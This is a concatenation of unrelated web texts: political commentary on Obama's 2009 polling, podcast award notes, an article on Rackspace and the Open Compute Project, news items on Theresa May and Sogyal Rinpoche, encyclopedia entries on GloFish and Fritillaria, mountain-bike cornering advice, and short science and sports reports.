In support of his thesis, Tapscott cites a number of news developments in the two weeks or so since Obama’s address before Congresss that can basically be summarized as follows:
1. The fact that Rush Limbaugh and Glenn Beck have both seen their audience numbers increase.
2. The fact that some Democrats in Congress and the Senate are expressing doubts about Obama’s spending plans; and,
3. The emergence of what Tapscott contends is a coherent critique from the Right of Obama’s policies and vision for the future:
Paralleling these developments, a potentially devastating conservative case against Obama is coming together rapidly. Two influential columns this week tell the tale: On Thursday, Daniel Henninger offers this crucial observation in a WSJ piece otherwise devoted to asking why Republicans aren’t more eagerly and quickly taking advantage of the fact the Obama Democrats have all but declared war on the 75 percent of the U.S. economy that is private and therefore productive of the nation’s wealth: “Beyond the stock market, there is a reason why, despite much goodwill toward his presidency, the Obama response to the faltering economy has left many feeling undone. There isn’t much in his plan to stir the national soul. It’s about ‘sacrifice’ now so that we can live for a future of small electric cars and windmills. This may move the Democratic Party’s faith communities, but it cannot revive a great nation. If the Democrats want to embrace market failure as a basis for their ideology, let them have it. As politics, it’s a downer.” The second column appeared today in The Washington Post and was written by Charles Krauthammer. Obama’s mastery of public speaking has heretofore served to deflect attention away from the details of what he is actually proposing. And there is in those details, according to Krauthammer, a fundamental deception: Obama summons visions of catastrophe that are the result of too little government regulation of the financial markets and he offers as a solution vastly more government regulation of …. health care, energy and education. (…) In other words, Krauthammer said, Obama tries to have it both ways, with the alleged errors of deregulation being compounded into the worst economic crisis since the Great Depression by America’s failure to nationalize health care, shift our economy to alternative energy sources and give everybody a free pass to college. Obama is trying to make the cause and the cure synonymous. “Clever politics, but intellectually dishonest to the core,” Krauthammer said.
What Tapscott doesn’t mention, though, is the the other news that came out last week in the form of two polls, from MSNBC and Newsweek, both of which show that President Obama continues to have widespread public support, and that the public’s view of the Republicans continue to suffer as it did during the final years of the Bush Administration.
Consider this from the MSNBC poll:
Despite the country’s struggling economy and vocal opposition to some of his policies, President Obama’s favorability rating is at an all-time high. Two-thirds feel hopeful about his leadership and six in 10 approve of the job he’s doing in the White House. (…) By comparison, the Republican Party — which resisted Obama’s recently passed stimulus plan and has criticized the spending in his budget — finds its favorability at an all-time low. It also receives most of the blame for the current partisanship in Washington and trails the Democrats by nearly 30 percentage points on the question of which party could best lead the nation out of recession.
And this from the Newsweek poll:
Overall, 58 percent of Americans surveyed approve of the job Obama is doing, while 26 percent disapprove and one in six (16 percent) has no opinion. Although his approval ratings are down from levels seen a few weeks ago in other polls, 72 percent of Americans still say they have a favorable opinion of Obama—a higher rating than he received in NEWSWEEK Polls during the presidential campaign last year. The president’s rating in this poll is consistent with estimates provided by other national media polls in the last week. (…) The biggest problem for the GOP, according to the poll, may be that 58 percent of Americans believe that Republicans who have opposed Obama’s economic-rescue plans have no plan of their own for turning the economy around. With the Republicans having lost the White House and both houses of Congress, public identification with the party has dropped to a recent low point of 26 percent, after running at or near 30 percent for most of the last 15 years. That’s the lowest level since the Watergate era and a striking loss of stature for the party, considering that self-described conservatives continue to outnumber liberals in the country by nearly two to one (39 percent vs. 20 percent).
And, if anything, these numbers have gotten worse for Republicans since Obama took office.
Morever, Tapscott’s claim that we’ve reached a tipping point and that Obama’s popularity is on a downward slope just don’t hold up. For one thing, the factors he cites in factor of his thesis don’t really hold up to close examination.
1. Yes, Limbaugh’s audience is up, but that’s entirely understandable considering that he’s spent the last three weeks or so making sure that his name is in the national spotlight and mentioned on every national news cast and cable news channel. Obviously all that self-promotion paid off. As for Beck, well he moved from CNN Headline News to Fox News Channel, it’s not hard to see why that alone would mean an increase in viewers.
2. The fact that a few Blue Dogs in the House and one Senator have made comments expressing concern about the size of the Ominbus Spending Bill is meaningless when you consider the fact that Obama has done a fairly decent job of getting his agenda through Congress so far, and there’s no sign of any obstacles in the near future; and,
3. The fact that two inside-the-beltway columnists criticized Obama’s policies doesn’t amount to anything, even though I think they’re mostly right.
Rick Moran also believes that Tapscott is ahead of himself:
[T]he idea that these facts have altered or are even in the process of altering the fundamental narrative about Obama and his Administration is premature and borders on wishful thinking. As long as the Democrats can keep this a Republican economy, Obama will remain relatively unscathed. Defections from Democratic ranks on his budget will be few and given their huge majority in the House, insignificant. Even the declining stock market will be spun as sour grapes by the rich who don’t want to see their taxes raised. Expectations on recovery are so low at this point that they will be able to spin any rise in job creation as occurring as a result of their porkulus package – even if, as most economists predict, the overall jobless rate will continue to climb. And as long as Republicans fail to offer anything remotely resembling an alternative to Obama’s ruinously transformative spending plans, the Democrats can paint the opposition to Obama as being obstructionist.
More importantly, there seems to be an attitude among the public at large that Obama should be given some leeway when it comes to the overall impact of his policies. As long as that’s the case, they won’t pay much attention to the chatter on the right.
Finally, as I’ve said repeatedly here in the past, the ultimate outcome of all of this is largely out of the GOP’s hands. If the economy improves enough that the fear that is pervading the country right now subsides, Obama will get the credit for it. If it doesn’t he’ll get the blame. And, if there’s an international crisis that causes the public to rally around the President the way they have in the past, then all bets are off.In which we announce the 2013 Galactic Suburbia for activism and/or communication that advances the feminist conversation in the field of speculative fiction.
[If you want to listen unspoilt to the episode discussing shortlist and winners of the GS Award, listen Noooooow without reading the rest of the show notes. Don't even glance at them! Move along, nothing to see here]
Culture Consumed:
Alex: Shadow Unit! Haven ep 1!
Alisa: Fringe, Haven S1, Game of Thrones S1 and S2, Veronica Mars Movie
Tansy: The Lotus Palace by The Lotus Palace by Jeannie Lin ; Dark Eyes 2 (Big Finish); Veronica Mars Movie
Galactic Suburbia Award!! for activism and/or communication that advances the feminist conversation in the field of speculative fiction
Anita Sarkeesian - Tropes vs Women in Video Games (Damsel in Distress 1 & 2, Ms Male Character)
The Doubleclicks - Nothing to Prove music video
Deb Stanish for her essay in Apex magazine: " Fangirl isn't a Dirty Word."
Honorary shortlistee (the Julia Gillard Award): Wendy Davis for her amazing filibuster
Joint Winners this Year!!! (drum roll please)
NK Jemisin for her GoH speech from Continuum (link)
Elise Matthesen for her essay "How to Report Sexual Harassment at cons" (link)
Also discussed: “Not Now, Not Ever” (Gillard Misogyny Speech) by Australian Voices
Please send feedback to us at [email protected], follow us on Twitter at @galacticsuburbs, check out Galactic Suburbia Podcast on Facebook and don't forget to leave a review on iTunes if you love us!"It's time to stop treating data center design like Fight Club," said Jonathan Heiliger, "and demystify the way these things are built."
It was April 2011, and Heiliger – the man who oversaw all the hardware driving Facebook's online empire – was announcing the creation of something Facebook called the Open Compute Project. As Google, Amazon, and other online giants jealously guarded the technology inside their massive computing facilities – treating data center design as the most important of trade secrets – Heiliger and Facebook took the opposite tack, sharing their hardware designs with the rest of the world and encouraging others to do the same. The aim was to transform competition into collaboration, Heiliger said – to improve computer hardware using the same communal ethos that underpins the world of open source software.
Some saw it as little more than a publicity stunt. Others bemoaned the comparison to open source software, arguing that Facebook's designs "weren't as open" as this would imply. But less than two years later, the Open Compute Project has lived up to Heiliger's billing – and then some.
Last week, at the Open Compute Project's latest public get-together, Facebook donated a host of new hardware designs to the project, as it continues to overhaul the gear that typically drives a data center. But this is only half the story. Two hours later, Rackspace – the Texas outfit that's second only to Amazon in the cloud computing game – revealed that it has followed in Facebook's footsteps, designing its own data center servers, and yes, it will donate these designs to the world at large.
After Facebook opened the curtain on its hardware operation, showing how it had significantly cut costs with a new breed of slim-down gear purchased directly from manufacturers in Asia, Rackspace was inspired to do the same. But it didn't just mimic Facebook's designs. Those weren't suited to its particular operation. It took those designs in a new direction.
"We basically iterated on the Facebook design," says Wesley Jess, vice president of supply chain operations at Rackspace, who oversees the team that designed the company's new servers. "Our tenet is to repurpose all the testing and the good work that Facebook has already done."
>'We basically iterated on the Facebook design. Our tenet is to repurpose all the testing and the good work that Facebook has already done.' — Wesley Jess
Basically, Rackspace's hardware accommodates a different power system than Facebook's gear. The server includes an extra network connection and some extra management tools. And it's designed to handle a much larger number of connecting cables – something Rackspace has a particular need for.
For Frank Frankovsky – who oversees the hardware operation at Facebook – this is just the thing the Open Compute Project was meant to foster. "It's about empowering the end user to take control of their infrastructure design," he says, "to evaluate for yourself what's best for your infrastructure."
Facebook didn't just share its hardware designs. It shared its story – and that's just as valuable, if not more so. In fashioning its own servers, Facebook worked in tandem with a wide range of parts suppliers, various server manufacturers in Asia, and a "system integrator" that puts the final pieces together at a warehouse in Northern California, and Rackspace set up a similar supply chain, though its list of partners is slightly different. Like Facebook, Rackspace is working with Asian manufacturers Quanta and Wistron to build its gear, but whereas Facebook works with Hyve, an integrator in Northern California, Rackspace will use Quanta as an integrator – and possibly others.
The basic arrangement may seem simple, but for years, this sort of custom server work was cloaked in mystery – and more than a little FUD. Google and Amazon have also bypassed big-name American server makers such as Dell, IBM, and HP, going directly to more nimble manufacturers, but they're loath to discuss the particulars, and many of the tech world's entrenched hardware makers have painted this shadow market as a place suited only for someone of Google's size – if they talk about it at all.
Yes, Google is bigger than most web operations. But the rest of the web is always growing, and Rackspace has shown that a second tier operation now has the volume – as well as the talent – needed to customize its data center hardware. According to Jess, Rackspace is underpinned by about 89,000 servers, and the company designed its new gear – including a server, a storage device, and a new rack to house that can house them both – with a team of two to three engineers. The team is so small, Jess says, at least in part because it's leaning on work that's already been done by Facebook and other members of the Open Compute Project.
"I don't think it's been a huge hassle for us," he says. "Everybody used to have to do it by themselves. You had to come up with your own test scripts. You had to come up with your own work – and that was a lot of effort. But if you're working in a community effort, a lot of that stuff is shared." Whenever he wants to, Jess explains, he can phone Frankovsky and others familiar with Facebook's particular operation.
Much like Facebook, Google, and Amazon, Rackspace will directly negotiate contacts with parts suppliers, including big name processor makers Intel and AMD. This sort of thing isn't widely discussed – at least not in the press – but Facebook has broken the code of silence, and this has allowed companies like Rackspace to follow. In another echo of Facebook, Rackspace won't actually acquire chips from the likes of Intel and AMD – the chips will move through the system manufacturers – but it will set its own prices.
All this is not to say that Dell, HP, and IBM are done selling servers. These tech giants still sell massive amounts of server gear, and Dell and HP in particular have worked to refashion their server businesses so that they can better serve the large web players and other massive online operations. Jimmy Pike – the director of system architecture for Dell’s Data Center Solutions business – tells us that the DSC still counts one of the biggest web players among of its customers. And this only makes sense. In buying servers, the big web players want options – as many as possible.
With Open Compute, Facebook has increased those options several fold. It's not just that someone like Rackspace can buy machines from several manufacturers. It can purchase individual parts from multiple suppliers. According to Jess, this is particularly useful to a cloud outfit because it's operation can grow so quickly. When you grow, you need more hardware. And if you have multiple suppliers, that hardware is easier to come by – and it's cheaper. Jess uses the word "flexibility" over and over again.
As Rackspace and others feed the Open Compute project, Jess and Frankovksy say, those options will continue to expand. If you aren't prepared to design your own gear, you'll have the option of buying existing Open Compute designs – or similar designs – from the likes of Hyve and Quanta. If you use these designs, Jess explains, you can even make the model work with a relatively small operation. You'll be riding on the big volumes already created by the likes of Facebook and Rackspace.
Yes, this model is a little different from open source software, where it's so much easier to share and modify what you've created. But Facebook and Rackspace are still sharing and modifying – and that's the crux of the matter. Rackspace has already remade its cloud services with open source software – the OpenStack platform – and now it's doing much the same with what you can rightly call open source hardware.
"Both let users influence the technology that gets built," says Jonathan Bryce, a former Rackspace employee who helped bootstrap OpenStack and now serves as the executive director of the OpenStack Foundation. "They give people alternatives they didn't necessarily have a decade ago."The video will start in 8 Cancel
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Theresa May is "no friend of women", a Labour MP has declared.
Dawn Butler launched an attack on the Tory leader despite her holding the post of Britain's second-ever female Prime Minister.
Mrs May often claims her leadership shows how Tories promote women better than Labour, who have never had a female leader.
But Shadow Women and Equalities Minister Ms Butler said the Prime Minister had done "absolutely nothing" for women.
She told BBC Radio 5 Live: "Theresa May's female but she's no friend of women.
"And her cuts have seen 86% of her cuts on women. So it's not just about having a female leader - it's about having people who actually care about the issues.
"Jeremy [Corbyn] cares about the issues, he cares about women and he cares about what happens to this country."
Mrs May mocked Mr Corbyn only last week when he declared "at last" a woman would hold the role of Parliament's Black Rod.
The Tory leader retorted: "I hope it will not be 650 years until the Labour party has a female leader!"
Ms Butler: "Yes, I'd love to see a female Labour Prime Minister.
"But the female Tory Prime Ministers we've had have done absolutely nothing for women."Home > Personality
Sogyal Rinpoche steps down as head of Rigpa after allegations Tibet Sun Newsroom, 15 August 2017 McLEOD GANJ, India -- Following allegations that abuses were committed on his students, Sogyal Rinpoche, Buddhist teacher and author, has decided to step down with immediate effect as the head of Rigpa, a network of Buddhist learning centres around the world.
<< Sogyal Rinpoche in an undated file photo. Photographer unknown << Sogyal Rinpoche in an undated file photo. Photographer unknown
Rinpoche (a Buddhist title meaning “the precious one” in Tibetan) has been charged with sexual abuse of his students, as well as leading a lavish, gluttonous, and sybaritic lifestyle, by current and ex-members of Rigpa in a letter dated 14 July 2017 [Letter-to-Sogyal-Lakar-14-06-2017-.pdf].
Some days after the release of the letter, Rigpa announced that the 70-year-old Rinpoche would “step back” and would go on retreat.
The Dalai Lama addressed the Sogyal Rinpoche issue[video] during a talk in Ladakh on 1 August, saying “Sogyal Rinpoche, my very good friend, but he’s disgraced. Some of his own students have now made public their criticism.”
He said that when teachers commit misconduct and disregard Buddhist teachings, students should make public their actions. He pointed out that although these lamas have showed they don’t care about Buddha’s teaching, they may care about their face.
The Rigpa organisation then issued another press release on 11 August which said, “After internal consultation, Sogyal Rinpoche has decided, with immediate effect, to retire as spiritual director from all the organizations that bear the name of Rigpa in different countries around the world.”
Detailing abuses allegedly committed by Sogyal Rinpoche, the letter said,
"If your striking and punching us and others, and having sex with your students and married women, and funding your sybaritic lifestyle with students’ donations, is actually the ethical and compassionate behaviour of a Buddhist teacher, please explain to us how it is.
“If, however, we are correct in our assessment, please stop your behaviours that we believe to be harmful to others.”
Those who signed the letter expressed their hope that long-lasting and sincere changes would come about rather than short-lived pledges.
In 1994, a female student filed a $10-million civil lawsuit against Sogyal Rinpoche. It was alleged that he had used his position as a spiritual leader to induce the student to have sexual relations with him. The lawsuit was settled out of court.
Rigpa is an international network of centres and groups in 41 countries around the world, founded by Sogyal Rinpoche in 1979.
Sogyal Rinpoche is best known for his book: The Tibetan Book of Living and Dying, published in 1992. It has been translated in 30 languages since then."The GloFish is a patented and trademarked brand of genetically engineered fluorescent fish. A variety of different GloFish are currently on the market. Zebrafish were the first GloFish available in pet stores, and are now sold in bright red, green, orange-yellow, blue, pink, and purple fluorescent colors. Recently "Electric Green", "Sunburst Orange", "Moonrise Pink", "Starfire Red", "Cosmic Blue", and "Galactic Purple" colored tetra (Gymnocorymbus ternetzi), an "Electric Green" tiger barb (Puntius tetrazona)[1] and a glo-Rainbow Shark (Epalzeorhynchos frenatum) have been added to the lineup. Although not originally developed for the ornamental fish trade, it is one of the first genetically modified animals to become publicly available. The rights to GloFish are owned by Spectrum Brands, Inc., which purchased GloFish from Yorktown Technologies, the original developer of GloFish, in May 2017.
History [ edit ]
Early development [ edit ]
An ordinary Zebra Danio
The original zebrafish (or zebra danio, Danio rerio) is a native of rivers in India and Bangladesh. It measures three centimeters long and has gold and dark blue stripes.
In 1999, Dr. Zhiyuan Gong[2] and his colleagues at the National University of Singapore were working with a gene that encodes the green fluorescent protein (GFP), originally extracted from a jellyfish, that naturally produced bright green fluorescence. They inserted the gene into a zebrafish embryo, allowing it to integrate into the zebrafish's genome, which caused the fish to be brightly fluorescent under both natural white light and ultraviolet light. Their goal was to develop a fish that could detect pollution by selectively fluorescing in the presence of environmental toxins. The development of the constantly fluorescing fish was the first step in this process, and the National University of Singapore filed a patent application on this work.[3] Shortly thereafter, his team developed a line of red fluorescent zebra fish by adding a gene from a sea coral, and orange-yellow fluorescent zebra fish, by adding a variant of the jellyfish gene. Later, a team of researchers at the National Taiwan University, headed by Professor Huai-Jen Tsai (蔡懷禎), succeeded in creating a medaka (rice fish) with a fluorescent green color, which, like the zebrafish, is a model organism used in biology.
The scientists from NUS and businessmen Alan Blake and Richard Crockett from Yorktown Technologies, L.P., a company in Austin, Texas, met and a deal was signed whereby Yorktown obtained the worldwide rights to market the fluorescent zebrafish, which Yorktown subsequently branded as "GloFish". At around the same time, a separate deal was made between Taikong, the largest aquarium fish producer in Taiwan, and the Taiwanese researchers to market the green medaka in Taiwan under the name TK-1. In the spring of 2003, Taiwan became the first to authorize sales of a genetically modified organism as a pet. One hundred thousand fish were reportedly sold in less than a month at US$18.60 each. The fluorescent medaka are not GloFish, as they are not marketed by Yorktown Technologies, but instead by Taikong Corp under a different brand name.
Introduction to the United States market [ edit ]
GloFish were introduced to the United States market in late 2003 by Yorktown Technologies, after two years of research. The governmental environmental risk assessment was made by the U.S. Food and Drug Administration (FDA), which has jurisdiction over all genetically modified (GM) animals, including fluorescent zebra fish, since they consider the inserted gene to be a drug. The FDA determined in December 2003:
Because tropical aquarium fish are not used for food purposes, they pose no threat to the food supply. There is no evidence that these genetically engineered zebra danio fish pose any more threat to the environment than their unmodified counterparts which have long been widely sold in the United States. In the absence of a clear risk to the public health, the FDA finds no reason to regulate these particular fish.[4]
Marketing of the fish was met by protests from a non-governmental organization called the Center for Food Safety. They were concerned that approval of the GloFish based only on a Food and Drug Administration risk assessment would create a precedent of inadequate scrutiny of biotech animals in general.[citation needed] The group filed a lawsuit in US Federal District Court to block the sale of the GloFish. The lawsuit sought a court order stating that the sale of transgenic fish is subject to federal regulation beyond the FDA's charter, and as such should not be sold without more extensive approvals. In the opinion of Joseph Mendelson, the Center for Food Safety's legal director:
It's clear this sets a precedent for genetically engineered animals. It opens the dams to a whole host of nonfood genetically engineered organisms. That's unacceptable to us and runs counter to things the National Academy of Sciences and other scientific review boards have said, particularly when it comes to mobile GM organisms like fish and insects.[5]
The Center for Food Safety's suit was found to be without merit and dismissed on March 30, 2005.[citation needed]
Subsequent developments [ edit ]
In addition to the red fluorescent zebrafish, trademarked as "Starfire Red", Yorktown Technologies released a green fluorescent zebrafish and an orange-yellow fluorescent zebrafish in mid-2006. In 2011, blue and purple fluorescent zebrafish were released. These lines of fish are trademarked as "Electric Green", "Sunburst Orange", "Cosmic Blue", and "Galactic Purple", and incorporate genes from sea coral.[1] In 2012, Yorktown Technologies introduced a new variety of "Electric Green" GloFish, derived from a different species of fish, the black tetra.[1] This was followed by the "Electric Green" Barb, which is a variety of tiger barb. In 2013, Yorktown Technologies introduced a "Sunburst Orange" Tetra and a "Moonrise Pink" Tetra, the first fluorescent pink fish to be marketed. This was followed in 2014 by the release of a "Starfire Red" and "Cosmic Blue" Tetra.
Despite the speculation of aquarium enthusiasts that the eggs[vague] are pressure treated to make them infertile, it has been found some GloFish are indeed fertile and will reproduce in a captive environment.[6] However, the GloFish Fluorescent Fish License states "Intentional breeding and/or any sale, barter, or trade, of any offspring of GloFish fluorescent ornamental fish is strictly prohibited."[7]
Sale or possession of GloFish was made illegal in California in 2002 due to a regulation that restricts genetically modified fish. The regulation was implemented before the marketing of GloFish, largely due to concern about a fast-growing biotech salmon. The regulations were lifted in 2015 due to a growing body of evidence and the findings of the Food and Drug Administration and the Florida Department of Agriculture and Consumer Services. GloFish are now legal in California for importation and commercial sale.[8]
The import, sale and possession of these fish is not permitted within the European Union. On November 9, 2006, however, the Netherlands’ Ministry of Housing, Spatial Planning and the Environment (VROM) found 1,400 fluorescent fish, which were sold in various aquarium shops.[9]
In January 2009, the U.S. Food & Drug Administration formalized their recommendations for genetically engineered animals.[10] These non-binding recommendations describe the way in which FDA regulates all GM animals, including GloFish.[11]
Research published in 2014 assessed the environmental safety associated with GloFish. One paper concluded that there is little risk of invasiveness into the environment.[12] A second study concluded that there is no difference in risk between GloFish and wild-type danios.[13]
Sources of colors [ edit ]
Examples of sources of fluorescent protein genes include GFP (Aequorea victoria, jellyfish), GFP (Renilla reniformis, sea pansy), dsRed (Discosoma, mushroom coral), eqFP611 (Entacmaea quadricolor, sea anemone), RTMS5 (Montipora efflorescens, stony coral), dronpa (Pectiniidae, chalice coral), KFP (Anemonia sulcata, Venus hair anemone), eosFP (Lobophyllia hemprichii, open brain coral), and dendra (Dendronephthya, octocoral).
In early 2014, scientists identified approximately 200 species of naturally occurring fluorescent fish, suggesting that the fluorescence trait is widespread in fish lines.[14]
Other experimental uses [ edit ]
Fluorescent zebrafish also have been used for other experimental research. The alterations in the zebrafish's genes have given the organism the ability to fluoresce as a bio-indicator. This genetic ability has been used to detect pollution and other chemicals.[15]
Chemicals that mimic natural estrogens have well-documented effects on the reproductive systems of vertebrates, typically acting as endocrine disruptors, and GloFish fluorescence is being used to detect levels of estrogenic chemicals.[16] Investigators found that muscles such as the heart are more affected by estrogen than the liver.[16] Using the GloFish may thus give insights into endocrine disrupting chemical actions.[16]
The sentiments of aquarium retailers towards the GloFish have also been used as an indicator of the public's positive reaction to controversial agricultural biotechnologies.[17]
Vulnerability to predation [ edit ]
GloFish are more vulnerable to predation compared to the wild-type, according to a study published in 2011.[18]
References [ edit ]
Further reading [ edit ]Genus of flowering plants in Liliaceae family
"Fritillary" redirects here. For four genera of butterflies, see Fritillary (disambiguation)
Fritillaria (fritillaries) is a genus of spring flowering herbaceous bulbous perennial plants in the lily family (Liliaceae). The type species, Fritillaria meleagris, was first described in Europe in 1571, while other species from the Middle East and Asia were also introduced to Europe at that time. The genus has about 130–140 species divided among eight subgenera. The flowers are usually solitary, nodding and bell-shaped with bulbs that have fleshy scales, resembling those of lilies. They are known for their very large genome size and genetically are very closely related to lilies. They are native to the temperate regions of the Northern hemisphere, from the Mediterranean and North Africa through Eurasia and southwest Asia to western North America. Many are endangered due to enthusiastic picking. The name Fritillaria is thought to refer to the checkered pattern of F. meleagris, resembling a box in which dice were carried. Fritillaries are commercially important in horticulture as ornamental garden plants and also in traditional Chinese medicine, which is also endangering a number of species. Fritillaria flowers have been popular subjects for artists to depict and as emblems of regions and organisations.
Description [ edit ]
Fritillaria is a genus of herbaceous bulbous perennials. It is characterised by nodding (pendant) flowers, perianths campanulate (bell- or cup-shaped) with erect segments in upper part, a nectarial pit, groove or pouch at the base of the tepal, anthers usually pseudobasifixed, rarely versatile, fruit sometimes winged, embryo minute.
Flowers often solitary and nodding, but some form umbels or have racemes with many flowers. Perianth campanulate (bell or cup shaped) and its segments usually tesselated with squares of alternating light and dark colours. Nectaries are large and well developed, and in most species (with the exception of Rhinopetalum), are linear to lanceolate or ovate and weakly impressed upon the tepals.
The bulbs typically consist of a few tightly packed fleshy scales with a translucent tunic that disappears with further growth of the bulb. However, some species have naked bulbs with many scales and loosely attached bulbils, resembling those of the closely related Lilium.
Certain species have flowers that emit disagreeable odors. The scent of Fritillaria imperialis has been called "rather nasty", while that of F. agrestis, known commonly as stink bells, is reminiscent of canine feces. On the other hand, F. striata has a sweet fragrance.
Genome [ edit ]
Fritillaria represents the most extreme case of genome size expansion in angiosperms. Polyploidy is rare, with nearly all species being diploid and only occasional reports of triploidy. Reported genome size in Fritillaria vary from 1Cx (DNA content of unreplicated haploid chromosome complement) values of 30.15 to 85.38 Gb (Giga base pairs), that is > 190 times that of Arabidopsis thaliana, which has been called the "model plant" and > 860 times that of Genlisea aurea, which represents the smallest land plant genome sequenced to date. Giant genome size is generally defined as >35 pg (34 Gb). The largest genomes in diploid Fritillaria are found in subgenus Japonica, exceeding 85 Gb. At least one species, tetraploid F. assyriaca, has a very large genome. With approximately 127 pg (130 Gb), it was for a long time the largest known genome, exceeding the largest vertebrate animal genome known to date, that of the marbled lungfish (Protopterus aethiopicus), in size. Heterochromatin levels vary by biogeographic region, with very little in Old World and abundant levels in New World species. Most species have a basic chromosome number of x=12, but x=9, 11 and 13 have been reported.
Taxonomy [ edit ]
History [ edit ]
Gerard (1597) states that Fritillaria was unknown to the ancients, but certainly it was appearing in the writings of sixteenth century European botanists, including Dodoens (1574, 1583), Lobelius (1576, 1581), and Clusius (1583 |
lean the bike over and your vision to pull you through the corner.
5) When all else fails focus on shifting the hips laterally and not squatting down or leaning over with the shoulders.
Out of all the trail skills I work with riders on Cornering remains one of the hardest to pick up. The funny thing is, it isn’t because of a lack of “knowing” what to do since there are a lot of great videos, books and camps that can teach you the technique behind it.However, despite all of this great information explaining “how to” corner a lot of riders still struggle with applying it consistently on the trail. The reason for this is simple –A lot of times it isn’t a technique issue that is holding riders back as much as it is a movement issue. If you can’t get your hips to move like you need them to then no amount of “knowledge” can help you..I know this because I was one of those riders. Despite knowing what to do from a technique standpoint my real breakthrough with cornering happened when I started focusing on 5 movement skills to help stay balanced and better able to execute my technique.I've found these things have really helped my clients as well and I wanted to share them with you as well...Cornering is all about getting your hips moving around the bike and if your seat is in the way it can be a lot tougher to do. In fact, if you try to learn with your seat up you’ll most likely pick up bad habits.Also, you’ll need to be able to drop your heels so you can weight the outside foot and “carve” the corner which requires a more mid-foot position on the pedals. I recommend flat pedals since they naturally put you in this position but if you run clipless then make sure you don’t have the cleat set under the ball of the foot as this will throw your weight too far forward and make it harder to use your as hips effectively.This will let you drop your heel and carve the corner better by giving you a better platform to laterally hinge the hips from. Even though you can get away with either foot being forward entering a corner - and there are times you want to keep you dominate foot forward in fast paced DH sections - you will be better able to execute your technique if you can get your outside foot back. I've also found that most of the time riders who argue this point can't ride switch foot in the first place and are looking for reasons to not have to learn how but that is another subject for another article.If you enter a corner balanced it is too late, you’re going to be playing catch-up with your balance points through the corner. By shifting your weight and entering the corner with you hips set and ready to shift you can set your edge faster and more easily dictate the balance points.When entering a corner you want to lean the bike over by pushing with the inside arm and look through the corner to make sure you ride smoothly through it. Counter-pressure is critical to maintaining good traction and since you go where you look your vision is your ultimate guide.When you are doing it right you’ll feel your ribs laying down one by one on top of your inside thigh.Your hips are the driving force behind cornering. When they are moving well then you will corner well, if you’re not cornering well then odds are they are not moving well. Focus on improving how you use them to stay balanced in corners and all the other parts of the technique will come much easier.And, in case you're more of a visual learner, here is a video of me going over these things...The take home message is that unless you can move your hips laterally like I show in that video you'll struggle to apply good cornering technique, which is why you need to use targeted strength and mobility training to improve that movement. Once you can do it better off the bike you'll be able to do it much better on the bike.And in case you missed it, here is a previous article and video I posted going over good cornering technique and a drill to help you dial it in. Apply the movement tips in this post to the technique advice and drill in that post and you'll be well on your way to shredding corners like never before.Hope you've enjoyed this tip, if you liked it please click one of the Like or Share buttons below to help spread the word.Until next time...Ride Strong,James WilsonMTB Strength Training SystemsMTB Strength Training Systems is the world leader in integrated performance training programs for the unique demands of mountain biking. As the strength and conditioning coach for World Cup Teams and 3 National Championships, his programs have been proven at the highest levels. James has helped thousands of riders just like you improve their speed, endurance and skills on the trail. Visit www.bikejames.com for more training and riding tips like this and to sign up for the free Trail Rider Fundamentals Video Mini-Course.Photo: Peter J. Bryant
A shockingly high percentage of female sea snails off the coast of Perth, Australia, have been found with a troubling new feature - penises growing from their heads! Researchers say that at one point, 100 percent of the snail species Thais orbita were found with the male appendage, and that the anti-fouling chemical TBT was to blame. As if these thorny new adornments weren't problem enough, it just might determine the fate of the species, and the ecosystem. According to a report from The Australian, the marine snails are suffering from a disorder called 'imposex' and that it is being caused by a chemical used by boatmen until the early 1990s, called TBT. Because the agent remained in the sediment, snails continue to be profoundly affected, with all female snails growing penises from their heads as late as 2005.
It may sound a bit more unusual than it actually is however, since that is where male snails wear their most distinctive appendage naturally - but for a female snail, it´s quite troublesome. Monique Gagnon from Australia´s Curtin University explains:
When that organ is inside the shell, it blocks the release of the eggs and the female becomes sterile. In severe cases, the female cannot reproduce and it will actually kill her, because the egg bag inside the shell will rupture and cause infection.
Gagnon says that if snail populations decline due to this problem, it could have dire consequences for the ecosystem. ¨If this snail was to disappear completely, the predator role will be lost and we can end up with less biodiversity.¨
There is good news, however. It would appear that the harmful presence of TBT in the waters off of West Australia is declining. The most recent survey of marine snails found that only 68 percent of females were growing penises, as opposed to all of them just a few years earlier.
While researchers see this decline in female with penises on their heads as a positive sign for the state of the ecosystem in the waters off of Australia, I´m sure male sea snail are happy to see the trend pass as well.
More on Exotic Marine Life
Fish with Hands Discovered, But Species Face Extinction
Strange Animals that Glow in the Dark (Slideshow)
5000 Amazing New Undersea Species Discovered in Marine CensusKOLKATA: The All India Football Federation celebrated the Women's Day with a special gesture towards the fairer sex.At the Shree Shivchhatrapati Sports Complex in Pune on Saturday, Maria Rebello created history in Indian football when she became the first woman referee to officiate in an I-League match. She had previously officiated in the country's premier football tournament as an assistant referee.Hosts Pune FC rode Mirjan Pavlovic's 90th minute goal to hold Shillong Lajong FC 2-2 in the match. But with Maria breaking another glass ceiling, the focus was clearly on the 'lady with the whistle'.The Goa-based referee, who was also the captain of India women's national team, had earlier set the trend by becoming the fourth official of an I-League match. But with the Women's Day in mind, the federation decided to make the occasion memorable."It was a conscious decision. We wanted to send out a message to everybody. A woman referee managing 22 men on the field in the most important football tournament of the country is indeed a special moment," Goutam Kar, who's the head of AIFF's referees department, told TOI from Delhi.Pittsburgh (AFP) – President Barack Obama on Thursday decried America’s “wild, wild west” media environment for allowing conspiracy theorists a broad platform and destroying a common basis for debate.
Recalling past days when three television channels delivered fact-based news that most people trusted, Obama said democracy require citizens to be able to sift through lies and distortions.
“We are going to have to rebuild within this wild-wild-west-of-information flow some sort of curating function that people agree to,” Obama said at an innovation conference in Pittsburgh.
“There has to be, I think, some sort of way in which we can sort through information that passes some basic truthiness tests and those that we have to discard, because they just don’t have any basis in anything that’s actually happening in the world,” Obama added.
His remarks came amid an election campaign that has seen Republican candidate Donald Trump repeat ideas and take on key staff from right-wing media outlets.
They also come at the end of an eight-year presidency in which Obama has been plagued by false scandals over his place of birth that have forced him to play media-critic-in-chief.
For much of that time, Republicans and Democrats — which their own media sources — could rarely agree on even the most basic facts to build a debate.
“That is hard to do, but I think it’s going to be necessary, it’s going to be possible,” he added.
“The answer is obviously not censorship, but it’s creating places where people can say ‘this is reliable’ and I’m still able to argue safely about facts and what we should do about it.”Advertisement
Image: Osaka University and ATR Intelligent Robotics and Communication Laboratories
Japanese roboticist Hiroshi Ishiguro has just unveiled a new teleoperated android: a strange robotic creature called the Telenoid R1.
